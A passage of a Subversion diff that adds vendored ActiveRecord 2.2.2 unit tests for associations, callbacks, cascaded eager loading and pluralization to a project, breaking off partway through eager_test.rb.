+    assert_equal customer, order.shipping
+
+    order.reload
+
+    assert_equal customer, order.billing
+    assert_equal customer, order.shipping
+
+    assert_equal num_orders +1, Order.count
+    assert_equal num_customers +1, Customer.count
+  end
+
+  def test_store_association_in_two_relations_with_one_save_in_existing_object_with_values
+    num_orders = Order.count
+    num_customers = Customer.count
+    order = Order.create
+
+    customer = order.billing = order.shipping = Customer.new
+    assert order.save
+    assert_equal customer, order.billing
+    assert_equal customer, order.shipping
+
+    order.reload
+
+    customer = order.billing = order.shipping = Customer.new
+
+    assert order.save
+    order.reload
+
+    assert_equal customer, order.billing
+    assert_equal customer, order.shipping
+
+    assert_equal num_orders +1, Order.count
+    assert_equal num_customers +2, Customer.count
+  end
+
+
+  def test_association_assignment_sticks
+    post = Post.find(:first)
+
+    author1, author2 = Author.find(:all, :limit => 2)
+    assert_not_nil author1
+    assert_not_nil author2
+
+    # make sure the association is loaded
+    post.author
+
+    # set the association by id, directly
+    post.author_id = author2.id
+
+    # save and reload
+    post.save!
+    post.reload
+
+    # the author id of the post should be the id we set
+    assert_equal post.author_id, author2.id
+  end
+
+  def test_cant_save_readonly_association
+    assert_raise(ActiveRecord::ReadOnlyRecord) { companies(:first_client).readonly_firm.save! }
+    assert companies(:first_client).readonly_firm.readonly?
+  end
+  
+  def test_polymorphic_assignment_foreign_type_field_updating
+    # should update when assigning a saved record
+    sponsor = Sponsor.new
+    member = Member.create
+    sponsor.sponsorable = member
+    assert_equal "Member", sponsor.sponsorable_type
+    
+    # should update when assigning a new record
+    sponsor = Sponsor.new
+    member = Member.new
+    sponsor.sponsorable = member
+    assert_equal "Member", sponsor.sponsorable_type
+  end
+  
+  def test_polymorphic_assignment_updates_foreign_id_field_for_new_and_saved_records
+    sponsor = Sponsor.new
+    saved_member = Member.create
+    new_member = Member.new
+    
+    sponsor.sponsorable = saved_member
+    assert_equal saved_member.id, sponsor.sponsorable_id
+    
+    sponsor.sponsorable = new_member
+    assert_equal nil, sponsor.sponsorable_id
+  end
+
+  def test_save_fails_for_invalid_belongs_to
+    assert log = AuditLog.create(:developer_id=>0,:message=>"")
+
+    log.developer = Developer.new
+    assert !log.developer.valid?
+    assert !log.valid?
+    assert !log.save
+    assert_equal "is invalid", log.errors.on("developer")
+  end
+
+  def test_save_succeeds_for_invalid_belongs_to_with_validate_false
+    assert log = AuditLog.create(:developer_id=>0,:message=>"")
+
+    log.unvalidated_developer = Developer.new
+    assert !log.unvalidated_developer.valid?
+    assert log.valid?
+    assert log.save
+  end
+
+  def test_belongs_to_proxy_should_not_respond_to_private_methods
+    assert_raises(NoMethodError) { companies(:first_firm).private_method }
+    assert_raises(NoMethodError) { companies(:second_client).firm.private_method }
+  end
+
+  def test_belongs_to_proxy_should_respond_to_private_methods_via_send
+    companies(:first_firm).send(:private_method)
+    companies(:second_client).firm.send(:private_method)
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/associations/callbacks_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/associations/callbacks_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/associations/callbacks_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,161 @@
+require "cases/helper"
+require 'models/post'
+require 'models/comment'
+require 'models/author'
+require 'models/category'
+require 'models/project'
+require 'models/developer'
+
+class AssociationCallbacksTest < ActiveRecord::TestCase
+  fixtures :posts, :authors, :projects, :developers
+
+  def setup
+    @david = authors(:david)
+    @thinking = posts(:thinking)
+    @authorless = posts(:authorless)
+    assert @david.post_log.empty?
+  end
+
+  def test_adding_macro_callbacks
+    @david.posts_with_callbacks << @thinking
+    assert_equal ["before_adding#{@thinking.id}", "after_adding#{@thinking.id}"], @david.post_log
+    @david.posts_with_callbacks << @thinking
+    assert_equal ["before_adding#{@thinking.id}", "after_adding#{@thinking.id}", "before_adding#{@thinking.id}",
+                  "after_adding#{@thinking.id}"], @david.post_log
+  end
+
+  def test_adding_with_proc_callbacks
+    @david.posts_with_proc_callbacks << @thinking
+    assert_equal ["before_adding#{@thinking.id}", "after_adding#{@thinking.id}"], @david.post_log
+    @david.posts_with_proc_callbacks << @thinking
+    assert_equal ["before_adding#{@thinking.id}", "after_adding#{@thinking.id}", "before_adding#{@thinking.id}",
+                  "after_adding#{@thinking.id}"], @david.post_log
+  end
+
+  def test_removing_with_macro_callbacks
+    first_post, second_post = @david.posts_with_callbacks[0, 2]
+    @david.posts_with_callbacks.delete(first_post)
+    assert_equal ["before_removing#{first_post.id}", "after_removing#{first_post.id}"], @david.post_log
+    @david.posts_with_callbacks.delete(second_post)
+    assert_equal ["before_removing#{first_post.id}", "after_removing#{first_post.id}", "before_removing#{second_post.id}",
+                  "after_removing#{second_post.id}"], @david.post_log
+  end
+
+  def test_removing_with_proc_callbacks
+    first_post, second_post = @david.posts_with_callbacks[0, 2]
+    @david.posts_with_proc_callbacks.delete(first_post)
+    assert_equal ["before_removing#{first_post.id}", "after_removing#{first_post.id}"], @david.post_log
+    @david.posts_with_proc_callbacks.delete(second_post)
+    assert_equal ["before_removing#{first_post.id}", "after_removing#{first_post.id}", "before_removing#{second_post.id}",
+                  "after_removing#{second_post.id}"], @david.post_log
+  end
+
+  def test_multiple_callbacks
+    @david.posts_with_multiple_callbacks << @thinking
+    assert_equal ["before_adding#{@thinking.id}", "before_adding_proc#{@thinking.id}", "after_adding#{@thinking.id}",
+                  "after_adding_proc#{@thinking.id}"], @david.post_log
+    @david.posts_with_multiple_callbacks << @thinking
+    assert_equal ["before_adding#{@thinking.id}", "before_adding_proc#{@thinking.id}", "after_adding#{@thinking.id}",
+                  "after_adding_proc#{@thinking.id}", "before_adding#{@thinking.id}", "before_adding_proc#{@thinking.id}",
+                  "after_adding#{@thinking.id}", "after_adding_proc#{@thinking.id}"], @david.post_log
+  end
+
+  def test_has_many_callbacks_with_create
+    morten = Author.create :name => "Morten"
+    post = morten.posts_with_proc_callbacks.create! :title => "Hello", :body => "How are you doing?"
+    assert_equal ["before_adding<new>", "after_adding#{post.id}"], morten.post_log
+  end
+
+  def test_has_many_callbacks_with_create!
+    morten = Author.create! :name => "Morten"
+    post = morten.posts_with_proc_callbacks.create :title => "Hello", :body => "How are you doing?"
+    assert_equal ["before_adding<new>", "after_adding#{post.id}"], morten.post_log
+  end
+
+  def test_has_many_callbacks_for_save_on_parent
+    jack = Author.new :name => "Jack"
+    post = jack.posts_with_callbacks.build :title => "Call me back!", :body => "Before you wake up and after you sleep"
+
+    callback_log = ["before_adding<new>", "after_adding#{jack.posts_with_callbacks.first.id}"]
+    assert_equal callback_log, jack.post_log
+    assert jack.save
+    assert_equal 1, jack.posts_with_callbacks.count
+    assert_equal callback_log, jack.post_log
+  end
+
+  def test_has_and_belongs_to_many_add_callback
+    david = developers(:david)
+    ar = projects(:active_record)
+    assert ar.developers_log.empty?
+    ar.developers_with_callbacks << david
+    assert_equal ["before_adding#{david.id}", "after_adding#{david.id}"], ar.developers_log
+    ar.developers_with_callbacks << david
+    assert_equal ["before_adding#{david.id}", "after_adding#{david.id}", "before_adding#{david.id}",
+                  "after_adding#{david.id}"], ar.developers_log
+  end
+
+  def test_has_and_belongs_to_many_after_add_called_after_save
+    ar = projects(:active_record)
+    assert ar.developers_log.empty?
+    alice = Developer.new(:name => 'alice')
+    ar.developers_with_callbacks << alice
+    assert_equal"after_adding#{alice.id}", ar.developers_log.last
+
+    bob = ar.developers_with_callbacks.create(:name => 'bob')
+    assert_equal "after_adding#{bob.id}", ar.developers_log.last
+
+    ar.developers_with_callbacks.build(:name => 'charlie')
+    assert_equal "after_adding<new>", ar.developers_log.last
+  end
+
+
+  def test_has_and_belongs_to_many_remove_callback
+    david = developers(:david)
+    jamis = developers(:jamis)
+    activerecord = projects(:active_record)
+    assert activerecord.developers_log.empty?
+    activerecord.developers_with_callbacks.delete(david)
+    assert_equal ["before_removing#{david.id}", "after_removing#{david.id}"], activerecord.developers_log
+
+    activerecord.developers_with_callbacks.delete(jamis)
+    assert_equal ["before_removing#{david.id}", "after_removing#{david.id}", "before_removing#{jamis.id}",
+                  "after_removing#{jamis.id}"], activerecord.developers_log
+  end
+
+  def test_has_and_belongs_to_many_remove_callback_on_clear
+    activerecord = projects(:active_record)
+    assert activerecord.developers_log.empty?
+    if activerecord.developers_with_callbacks.size == 0
+      activerecord.developers << developers(:david)
+      activerecord.developers << developers(:jamis)
+      activerecord.reload
+      assert activerecord.developers_with_callbacks.size == 2
+    end
+    log_array = activerecord.developers_with_callbacks.collect {|d| ["before_removing#{d.id}","after_removing#{d.id}"]}.flatten.sort
+    assert activerecord.developers_with_callbacks.clear
+    assert_equal log_array, activerecord.developers_log.sort
+  end
+
+  def test_has_many_and_belongs_to_many_callbacks_for_save_on_parent
+    project = Project.new :name => "Callbacks"
+    project.developers_with_callbacks.build :name => "Jack", :salary => 95000
+
+    callback_log = ["before_adding<new>", "after_adding<new>"]
+    assert_equal callback_log, project.developers_log
+    assert project.save
+    assert_equal 1, project.developers_with_callbacks.size
+    assert_equal callback_log, project.developers_log
+  end
+
+  def test_dont_add_if_before_callback_raises_exception
+    assert [email protected]_posts.include?(@authorless)
+    begin
+      @david.unchangable_posts << @authorless
+    rescue Exception => e
+    end
+    assert @david.post_log.empty?
+    assert [email protected]_posts.include?(@authorless)
+    @david.reload
+    assert [email protected]_posts.include?(@authorless)
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/associations/cascaded_eager_loading_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/associations/cascaded_eager_loading_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/associations/cascaded_eager_loading_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,123 @@
+require "cases/helper"
+require 'models/post'
+require 'models/comment'
+require 'models/author'
+require 'models/category'
+require 'models/categorization'
+require 'models/company'
+require 'models/topic'
+require 'models/reply'
+
+class CascadedEagerLoadingTest < ActiveRecord::TestCase
+  fixtures :authors, :mixins, :companies, :posts, :topics, :accounts, :comments, :categorizations
+
+  def test_eager_association_loading_with_cascaded_two_levels
+    authors = Author.find(:all, :include=>{:posts=>:comments}, :order=>"authors.id")
+    assert_equal 2, authors.size
+    assert_equal 5, authors[0].posts.size
+    assert_equal 1, authors[1].posts.size
+    assert_equal 9, authors[0].posts.collect{|post| post.comments.size }.inject(0){|sum,i| sum+i}
+  end
+
+  def test_eager_association_loading_with_cascaded_two_levels_and_one_level
+    authors = Author.find(:all, :include=>[{:posts=>:comments}, :categorizations], :order=>"authors.id")
+    assert_equal 2, authors.size
+    assert_equal 5, authors[0].posts.size
+    assert_equal 1, authors[1].posts.size
+    assert_equal 9, authors[0].posts.collect{|post| post.comments.size }.inject(0){|sum,i| sum+i}
+    assert_equal 1, authors[0].categorizations.size
+    assert_equal 2, authors[1].categorizations.size
+  end
+
+  def test_eager_association_loading_with_cascaded_two_levels_with_two_has_many_associations
+    authors = Author.find(:all, :include=>{:posts=>[:comments, :categorizations]}, :order=>"authors.id")
+    assert_equal 2, authors.size
+    assert_equal 5, authors[0].posts.size
+    assert_equal 1, authors[1].posts.size
+    assert_equal 9, authors[0].posts.collect{|post| post.comments.size }.inject(0){|sum,i| sum+i}
+  end
+
+  def test_eager_association_loading_with_cascaded_two_levels_and_self_table_reference
+    authors = Author.find(:all, :include=>{:posts=>[:comments, :author]}, :order=>"authors.id")
+    assert_equal 2, authors.size
+    assert_equal 5, authors[0].posts.size
+    assert_equal authors(:david).name, authors[0].name
+    assert_equal [authors(:david).name], authors[0].posts.collect{|post| post.author.name}.uniq
+  end
+
+  def test_eager_association_loading_with_cascaded_two_levels_with_condition
+    authors = Author.find(:all, :include=>{:posts=>:comments}, :conditions=>"authors.id=1", :order=>"authors.id")
+    assert_equal 1, authors.size
+    assert_equal 5, authors[0].posts.size
+  end
+
+  def test_eager_association_loading_with_cascaded_three_levels_by_ping_pong
+    firms = Firm.find(:all, :include=>{:account=>{:firm=>:account}}, :order=>"companies.id")
+    assert_equal 2, firms.size
+    assert_equal firms.first.account, firms.first.account.firm.account
+    assert_equal companies(:first_firm).account, assert_no_queries { firms.first.account.firm.account }
+    assert_equal companies(:first_firm).account.firm.account, assert_no_queries { firms.first.account.firm.account }
+  end
+
+  def test_eager_association_loading_with_has_many_sti
+    topics = Topic.find(:all, :include => :replies, :order => 'topics.id')
+    first, second, = topics(:first).replies.size, topics(:second).replies.size
+    assert_no_queries do
+      assert_equal first, topics[0].replies.size
+      assert_equal second, topics[1].replies.size
+    end
+  end
+
+  def test_eager_association_loading_with_has_many_sti_and_subclasses
+    silly = SillyReply.new(:title => "gaga", :content => "boo-boo", :parent_id => 1)
+    silly.parent_id = 1
+    assert silly.save
+
+    topics = Topic.find(:all, :include => :replies, :order => 'topics.id, replies_topics.id')
+    assert_no_queries do
+      assert_equal 2, topics[0].replies.size
+      assert_equal 0, topics[1].replies.size
+    end
+  end
+
+  def test_eager_association_loading_with_belongs_to_sti
+    replies = Reply.find(:all, :include => :topic, :order => 'topics.id')
+    assert replies.include?(topics(:second))
+    assert !replies.include?(topics(:first))
+    assert_equal topics(:first), assert_no_queries { replies.first.topic }
+  end
+
+  def test_eager_association_loading_with_multiple_stis_and_order
+    author = Author.find(:first, :include => { :posts => [ :special_comments , :very_special_comment ] }, :order => 'authors.name, comments.body, very_special_comments_posts.body', :conditions => 'posts.id = 4')
+    assert_equal authors(:david), author
+    assert_no_queries do
+      author.posts.first.special_comments
+      author.posts.first.very_special_comment
+    end
+  end
+
+  def test_eager_association_loading_of_stis_with_multiple_references
+    authors = Author.find(:all, :include => { :posts => { :special_comments => { :post => [ :special_comments, :very_special_comment ] } } }, :order => 'comments.body, very_special_comments_posts.body', :conditions => 'posts.id = 4')
+    assert_equal [authors(:david)], authors
+    assert_no_queries do
+      authors.first.posts.first.special_comments.first.post.special_comments
+      authors.first.posts.first.special_comments.first.post.very_special_comment
+    end
+  end
+end
+
+require 'models/vertex'
+require 'models/edge'
+class CascadedEagerLoadingTest < ActiveRecord::TestCase
+  fixtures :edges, :vertices
+
+  def test_eager_association_loading_with_recursive_cascading_four_levels_has_many_through
+    source = Vertex.find(:first, :include=>{:sinks=>{:sinks=>{:sinks=>:sinks}}}, :order => 'vertices.id')
+    assert_equal vertices(:vertex_4), assert_no_queries { source.sinks.first.sinks.first.sinks.first }
+  end
+
+  def test_eager_association_loading_with_recursive_cascading_four_levels_has_and_belongs_to_many
+    sink = Vertex.find(:first, :include=>{:sources=>{:sources=>{:sources=>:sources}}}, :order => 'vertices.id DESC')
+    assert_equal vertices(:vertex_1), assert_no_queries { sink.sources.first.sources.first.sources.first.sources.first }
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/associations/eager_load_includes_full_sti_class_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/associations/eager_load_includes_full_sti_class_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/associations/eager_load_includes_full_sti_class_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,36 @@
+require 'cases/helper'
+require 'models/post'
+require 'models/tagging'
+
+module Namespaced
+  class Post < ActiveRecord::Base
+    set_table_name 'posts'
+    has_one :tagging, :as => :taggable, :class_name => 'Tagging'
+  end
+end
+
+class EagerLoadIncludeFullStiClassNamesTest < ActiveRecord::TestCase
+
+  def setup
+    generate_test_objects
+  end
+
+  def generate_test_objects
+    post = Namespaced::Post.create( :title => 'Great stuff', :body => 'This is not', :author_id => 1 )
+    tagging = Tagging.create( :taggable => post )
+  end
+
+  def test_class_names
+    old = ActiveRecord::Base.store_full_sti_class
+
+    ActiveRecord::Base.store_full_sti_class = false
+    post = Namespaced::Post.find_by_title( 'Great stuff', :include => :tagging )
+    assert_nil post.tagging
+
+    ActiveRecord::Base.store_full_sti_class = true
+    post = Namespaced::Post.find_by_title( 'Great stuff', :include => :tagging )
+    assert_equal 'Tagging', post.tagging.class.name
+  ensure
+    ActiveRecord::Base.store_full_sti_class = old
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/associations/eager_load_nested_include_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/associations/eager_load_nested_include_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/associations/eager_load_nested_include_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,101 @@
+require 'cases/helper'
+
+module Remembered
+  def self.included(base)
+    base.extend ClassMethods
+    base.class_eval do
+      after_create :remember
+    protected
+      def remember; self.class.remembered << self; end
+    end
+  end
+
+  module ClassMethods
+    def remembered; @@remembered ||= []; end
+    def rand; @@remembered.rand; end
+  end
+end
+
+class ShapeExpression < ActiveRecord::Base
+  belongs_to :shape, :polymorphic => true
+  belongs_to :paint, :polymorphic => true
+end
+
+class Circle < ActiveRecord::Base
+  has_many :shape_expressions, :as => :shape
+  include Remembered
+end
+class Square < ActiveRecord::Base
+  has_many :shape_expressions, :as => :shape
+  include Remembered
+end
+class Triangle < ActiveRecord::Base
+  has_many :shape_expressions, :as => :shape
+  include Remembered
+end
+class PaintColor  < ActiveRecord::Base
+  has_many   :shape_expressions, :as => :paint
+  belongs_to :non_poly, :foreign_key => "non_poly_one_id", :class_name => "NonPolyOne"
+  include Remembered
+end
+class PaintTexture < ActiveRecord::Base
+  has_many   :shape_expressions, :as => :paint
+  belongs_to :non_poly, :foreign_key => "non_poly_two_id", :class_name => "NonPolyTwo"
+  include Remembered
+end
+class NonPolyOne < ActiveRecord::Base
+  has_many :paint_colors
+  include Remembered
+end
+class NonPolyTwo < ActiveRecord::Base
+  has_many :paint_textures
+  include Remembered
+end
+
+
+
+class EagerLoadPolyAssocsTest < ActiveRecord::TestCase
+  NUM_SIMPLE_OBJS = 50
+  NUM_SHAPE_EXPRESSIONS = 100
+
+  def setup
+    generate_test_object_graphs
+  end
+  
+  def teardown
+    [Circle, Square, Triangle, PaintColor, PaintTexture, 
+     ShapeExpression, NonPolyOne, NonPolyTwo].each do |c|
+      c.delete_all
+    end
+    
+  end
+
+
+  def generate_test_object_graphs
+    1.upto(NUM_SIMPLE_OBJS) do
+      [Circle, Square, Triangle, NonPolyOne, NonPolyTwo].map(&:create!)
+    end
+    1.upto(NUM_SIMPLE_OBJS) do
+      PaintColor.create!(:non_poly_one_id => NonPolyOne.rand.id)
+      PaintTexture.create!(:non_poly_two_id => NonPolyTwo.rand.id)
+    end
+    1.upto(NUM_SHAPE_EXPRESSIONS) do
+      shape_type = [Circle, Square, Triangle].rand
+      paint_type = [PaintColor, PaintTexture].rand
+      ShapeExpression.create!(:shape_type => shape_type.to_s, :shape_id => shape_type.rand.id,
+                              :paint_type => paint_type.to_s, :paint_id => paint_type.rand.id)
+    end
+  end
+
+  def test_include_query
+    res = 0
+    res = ShapeExpression.find :all, :include => [ :shape, { :paint => :non_poly } ]
+    assert_equal NUM_SHAPE_EXPRESSIONS, res.size
+    assert_queries(0) do
+      res.each do |se|
+        assert_not_nil se.paint.non_poly, "this is the association that was loading incorrectly before the change"
+        assert_not_nil se.shape, "just making sure other associations still work"
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/associations/eager_singularization_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/associations/eager_singularization_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/associations/eager_singularization_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,145 @@
+require "cases/helper"
+
+class Virus < ActiveRecord::Base
+  belongs_to :octopus
+end
+class Octopus < ActiveRecord::Base
+  has_one :virus
+end
+class Pass < ActiveRecord::Base
+  belongs_to :bus
+end
+class Bus < ActiveRecord::Base
+  has_many :passes
+end
+class Mess < ActiveRecord::Base
+  has_and_belongs_to_many :crises
+end
+class Crisis < ActiveRecord::Base
+  has_and_belongs_to_many :messes
+  has_many :analyses, :dependent => :destroy
+  has_many :successes, :through => :analyses
+  has_many :dresses, :dependent => :destroy
+  has_many :compresses, :through => :dresses
+end
+class Analysis < ActiveRecord::Base
+  belongs_to :crisis
+  belongs_to :success
+end
+class Success < ActiveRecord::Base
+  has_many :analyses, :dependent => :destroy
+  has_many :crises, :through => :analyses
+end
+class Dress < ActiveRecord::Base
+  belongs_to :crisis
+  has_many :compresses
+end
+class Compress < ActiveRecord::Base
+  belongs_to :dress
+end
+
+
+class EagerSingularizationTest < ActiveRecord::TestCase
+
+  def setup
+    if ActiveRecord::Base.connection.supports_migrations?
+      ActiveRecord::Base.connection.create_table :viri do |t|
+        t.column :octopus_id, :integer
+        t.column :species, :string
+      end
+      ActiveRecord::Base.connection.create_table :octopi do |t|
+        t.column :species, :string
+      end
+      ActiveRecord::Base.connection.create_table :passes do |t|
+        t.column :bus_id, :integer
+        t.column :rides, :integer
+      end
+      ActiveRecord::Base.connection.create_table :buses do |t|
+        t.column :name, :string
+      end
+      ActiveRecord::Base.connection.create_table :crises_messes, :id => false do |t|
+        t.column :crisis_id, :integer
+        t.column :mess_id, :integer
+      end
+      ActiveRecord::Base.connection.create_table :messes do |t|
+        t.column :name, :string
+      end
+      ActiveRecord::Base.connection.create_table :crises do |t|
+        t.column :name, :string
+      end
+      ActiveRecord::Base.connection.create_table :successes do |t|
+        t.column :name, :string
+      end
+      ActiveRecord::Base.connection.create_table :analyses do |t|
+        t.column :crisis_id, :integer
+        t.column :success_id, :integer
+      end
+      ActiveRecord::Base.connection.create_table :dresses do |t|
+        t.column :crisis_id, :integer
+      end
+      ActiveRecord::Base.connection.create_table :compresses do |t|
+        t.column :dress_id, :integer
+      end
+      @have_tables = true
+    else
+      @have_tables = false
+    end
+  end
+
+  def teardown
+    ActiveRecord::Base.connection.drop_table :viri
+    ActiveRecord::Base.connection.drop_table :octopi
+    ActiveRecord::Base.connection.drop_table :passes
+    ActiveRecord::Base.connection.drop_table :buses
+    ActiveRecord::Base.connection.drop_table :crises_messes
+    ActiveRecord::Base.connection.drop_table :messes
+    ActiveRecord::Base.connection.drop_table :crises
+    ActiveRecord::Base.connection.drop_table :successes
+    ActiveRecord::Base.connection.drop_table :analyses
+    ActiveRecord::Base.connection.drop_table :dresses
+    ActiveRecord::Base.connection.drop_table :compresses
+  end
+
+  def test_eager_no_extra_singularization_belongs_to
+    return unless @have_tables
+    assert_nothing_raised do
+      Virus.find(:all, :include => :octopus)
+    end
+  end
+
+  def test_eager_no_extra_singularization_has_one
+    return unless @have_tables
+    assert_nothing_raised do
+      Octopus.find(:all, :include => :virus)
+    end
+  end
+
+  def test_eager_no_extra_singularization_has_many
+    return unless @have_tables
+    assert_nothing_raised do
+      Bus.find(:all, :include => :passes)
+    end
+  end
+
+  def test_eager_no_extra_singularization_has_and_belongs_to_many
+    return unless @have_tables
+    assert_nothing_raised do
+      Crisis.find(:all, :include => :messes)
+      Mess.find(:all, :include => :crises)
+    end
+  end
+
+  def test_eager_no_extra_singularization_has_many_through_belongs_to
+    return unless @have_tables
+    assert_nothing_raised do
+      Crisis.find(:all, :include => :successes)
+    end
+  end
+
+  def test_eager_no_extra_singularization_has_many_through_has_many
+    return unless @have_tables
+    assert_nothing_raised do
+      Crisis.find(:all, :include => :compresses)
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/associations/eager_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/associations/eager_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/associations/eager_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,692 @@
+require "cases/helper"
+require 'models/post'
+require 'models/tagging'
+require 'models/comment'
+require 'models/author'
+require 'models/category'
+require 'models/company'
+require 'models/person'
+require 'models/reader'
+require 'models/owner'
+require 'models/pet'
+require 'models/reference'
+require 'models/job'
+require 'models/subscriber'
+require 'models/subscription'
+require 'models/book'
+require 'models/developer'
+require 'models/project'
+
+class EagerAssociationTest < ActiveRecord::TestCase
+  fixtures :posts, :comments, :authors, :author_addresses, :categories, :categories_posts,
+            :companies, :accounts, :tags, :taggings, :people, :readers,
+            :owners, :pets, :author_favorites, :jobs, :references, :subscribers, :subscriptions, :books,
+            :developers, :projects, :developers_projects
+
+  def test_loading_with_one_association
+    posts = Post.find(:all, :include => :comments)
+    post = posts.find { |p| p.id == 1 }
+    assert_equal 2, post.comments.size
+    assert post.comments.include?(comments(:greetings))
+
+    post = Post.find(:first, :include => :comments, :conditions => "posts.title = 'Welcome to the weblog'")
+    assert_equal 2, post.comments.size
+    assert post.comments.include?(comments(:greetings))
+
+    posts = Post.find(:all, :include => :last_comment)
+    post = posts.find { |p| p.id == 1 }
+    assert_equal Post.find(1).last_comment, post.last_comment
+  end
+
+  def test_loading_with_one_association_with_non_preload
+    posts = Post.find(:all, :include => :last_comment, :order => 'comments.id DESC')
+    post = posts.find { |p| p.id == 1 }
+    assert_equal Post.find(1).last_comment, post.last_comment
+  end
+
+  def test_loading_conditions_with_or
+    posts = authors(:david).posts.find(:all, :include => :comments, :conditions => "comments.body like 'Normal%' OR comments.#{QUOTED_TYPE} = 'SpecialComment'")
+    assert_nil posts.detect { |p| p.author_id != authors(:david).id },
+      "expected to find only david's posts"
+  end
+
+  def test_with_ordering
+    list = Post.find(:all, :include => :comments, :order => "posts.id DESC")
+    [:eager_other, :sti_habtm, :sti_post_and_comments, :sti_comments,
+     :authorless, :thinking, :welcome
+    ].each_with_index do |post, index|
+      assert_equal posts(post), list[index]
+    end
+  end
+
+  def test_with_two_tables_in_from_without_getting_double_quoted
+    posts = Post.find(:all,
+      :select     => "posts.*",
+      :from       => "authors, posts",
+      :include    => :comments,
+      :conditions => "posts.author_id = authors.id",
+      :order      => "posts.id"
+    )
+
+    assert_equal 2, posts.first.comments.size
+  end
+
+  def test_loading_with_multiple_associations
+    posts = Post.find(:all, :include => [ :comments, :author, :categories ], :order => "posts.id")
+    assert_equal 2, posts.first.comments.size
+    assert_equal 2, posts.first.categories.size
+    assert posts.first.comments.include?(comments(:greetings))
+  end
+
+  def test_duplicate_middle_objects
+    comments = Comment.find :all, :conditions => 'post_id = 1', :include => [:post => :author]
+    assert_no_queries do
+      comments.each {|comment| comment.post.author.name}
+    end
+  end
+
+  def test_including_duplicate_objects_from_belongs_to
+    popular_post = Post.create!(:title => 'foo', :body => "I like cars!")
+    comment = popular_post.comments.create!(:body => "lol")
+    popular_post.readers.create!(:person => people(:michael))
+    popular_post.readers.create!(:person => people(:david))
+
+    readers = Reader.find(:all, :conditions => ["post_id = ?", popular_post.id],
+                                :include => {:post => :comments})
+    readers.each do |reader|
+      assert_equal [comment], reader.post.comments
+    end
+  end
+
+  def test_including_duplicate_objects_from_has_many
+    car_post = Post.create!(:title => 'foo', :body => "I like cars!")
+    car_post.categories << categories(:general)
+    car_post.categories << categories(:technology)
+
+    comment = car_post.comments.create!(:body => "hmm")
+    categories = Category.find(:all, :conditions => ["posts.id=?", car_post.id],
+                                 :include => {:posts => :comments})
+    categories.each do |category|
+      assert_equal [comment], category.posts[0].comments
+    end
+  end
+
+  def test_finding_with_includes_on_has_many_association_with_same_include_includes_only_once
+    author_id = authors(:david).id
+    author = assert_queries(3) { Author.find(author_id, :include => {:posts_with_comments => :comments}) } # find the author, then find the posts, then find the comments
+    author.posts_with_comments.each do |post_with_comments|
+      assert_equal post_with_comments.comments.length, post_with_comments.comments.count
+      assert_equal nil, post_with_comments.comments.uniq!
+    end
+  end
+
+  def test_finding_with_includes_on_has_one_assocation_with_same_include_includes_only_once
+    author = authors(:david)
+    post = author.post_about_thinking_with_last_comment
+    last_comment = post.last_comment
+    author = assert_queries(3) { Author.find(author.id, :include => {:post_about_thinking_with_last_comment => :last_comment})} # find the author, then find the posts, then find the comments
+    assert_no_queries do
+      assert_equal post, author.post_about_thinking_with_last_comment
+      assert_equal last_comment, author.post_about_thinking_with_last_comment.last_comment
+    end
+  end
+
+  def test_finding_with_includes_on_belongs_to_association_with_same_include_includes_only_once
+    post = posts(:welcome)
+    author = post.author
+    author_address = author.author_address
+    post = assert_queries(3) { Post.find(post.id, :include => {:author_with_address => :author_address}) } # find the post, then find the author, then find the address
+    assert_no_queries do
+      assert_equal author, post.author_with_address
+      assert_equal author_address, post.author_with_address.author_address
+    end
+  end
+
+  def test_finding_with_includes_on_null_belongs_to_association_with_same_include_includes_only_once
+    post = posts(:welcome)
+    post.update_attributes!(:author => nil)
+    post = assert_queries(2) { Post.find(post.id, :include => {:author_with_address => :author_address}) } # find the post, then find the author which is null so no query for the address
+    assert_no_queries do
+      assert_equal nil, post.author_with_address
+    end
+  end
+
+  def test_loading_from_an_association
+    posts = authors(:david).posts.find(:all, :include => :comments, :order => "posts.id")
+    assert_equal 2, posts.first.comments.size
+  end
+
+  def test_loading_from_an_association_that_has_a_hash_of_conditions
+    assert_nothing_raised do
